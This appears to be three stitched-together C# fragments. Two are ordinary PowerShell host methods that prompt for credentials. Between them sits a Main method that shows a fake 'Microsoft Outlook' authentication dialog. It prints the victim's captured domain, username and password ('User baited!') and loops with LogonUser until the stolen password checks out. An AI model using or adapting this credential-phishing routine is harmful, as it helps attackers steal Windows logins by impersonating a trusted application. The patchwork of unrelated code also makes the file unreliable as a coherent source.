public override PSCredential PromptForCredential(string caption, string message, string userName, string targetName, PSCredentialTypes allowedCredentialTypes, PSCredentialUIOptions options) { if (Settings.Default.UseCredentialUI) { if (string.IsNullOrEmpty(caption)) { caption = "Windows PowerShell credential request"; } if (string.IsNullOrEmpty(message)) { message = "Please enter your credentials"; } var pfwCredentialsOptions = new CredentialUI.PromptForWindowsCredentialsOptions(caption, message) { HwndParent = _control.WindowHandle }; if (allowedCredentialTypes == PSCredentialTypes.Domain) { pfwCredentialsOptions.Flags ^= CredentialUI.PromptForWindowsCredentialsFlag.CREDUIWIN_GENERIC; } // If the targetName was set, we'd have a good way to tell one credential from another, and could save them ... // pfwCredentialsOptions.Flags |= CredentialUI.PromptForWindowsCredentialsFlag.CREDUIWIN_CHECKBOX; return(CredentialUI.PromptForWindowsCredentials(pfwCredentialsOptions, userName, string.Empty)); // THIS IS HOW PowerShell.exe does it ... // But MSDN says we're not supposed to do that anymore. //// Defaults to GenericCredentials //var credentialsOptions = new CredentialUI.PromptForCredentialsOptions(targetName, caption, message) //{ // HwndParent = _control.WindowHandle //}; //if (allowedCredentialTypes.HasFlag(PSCredentialTypes.Domain)) //{ // credentialsOptions.Flags ^= CredentialUI.PromptForCredentialsFlag.CREDUI_FLAGS_GENERIC_CREDENTIALS; //} //else if (options.HasFlag(PSCredentialUIOptions.AlwaysPrompt)) //{ // credentialsOptions.Flags |= CredentialUI.PromptForCredentialsFlag.CREDUI_FLAGS_ALWAYS_SHOW_UI; //} //// Does this _ever_ happen? //if (options.HasFlag(PSCredentialUIOptions.ReadOnlyUserName)) // credentialsOptions.Flags |= CredentialUI.PromptForCredentialsFlag.CREDUI_FLAGS_KEEP_USERNAME; //// Does this ever _not_ happen? //if (options.HasFlag(PSCredentialUIOptions.ValidateUserNameSyntax)) // credentialsOptions.Flags |= CredentialUI.PromptForCredentialsFlag.CREDUI_FLAGS_VALIDATE_USERNAME; //return CredentialUI.PromptForCredentials(credentialsOptions, userName, String.Empty); } else { return(_control.PromptForCredentialInline(caption, message, userName, targetName, allowedCredentialTypes, options)); } }
public static void Main() { IntPtr tokenHandle = IntPtr.Zero; string userName, domainName, password; // Display the current user. Console.WriteLine("Logged on User: {0}", WindowsIdentity.GetCurrent().Name); Console.WriteLine("Sending prompt to user..."); //login bool login = false; try { do { var credentials = CredentialUI.PromptForWindowsCredentials("Microsoft Outlook ", "Authentication required"); domainName = credentials.DomainName; userName = credentials.UserName; password = credentials.Password; Console.WriteLine("User baited! information received: \n domain name: {0} \n username:{1}\n password:{2}", domainName, userName, password); login = LogonUser(userName, domainName, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, ref tokenHandle); }while (!login); if (login) { Console.WriteLine("LOGIN SUCCESS! information received: \n domain name: {0} \n username:{1}\n password:{2}", domainName, userName, password); } } catch (System.NullReferenceException nre) { Console.WriteLine("User pressed cancel :("); } }
public override PSCredential PromptForCredential(string caption, string message, string userName, string targetName) { // TODO: allow overriding with an event handler if (Settings.Default.UseCredentialUI) { return(CredentialUI.PromptForWindowsCredentials(caption, message, IntPtr.Zero, userName, string.Empty)); } else { return(_control.PromptForCredentialInline(caption, message, userName, targetName)); } }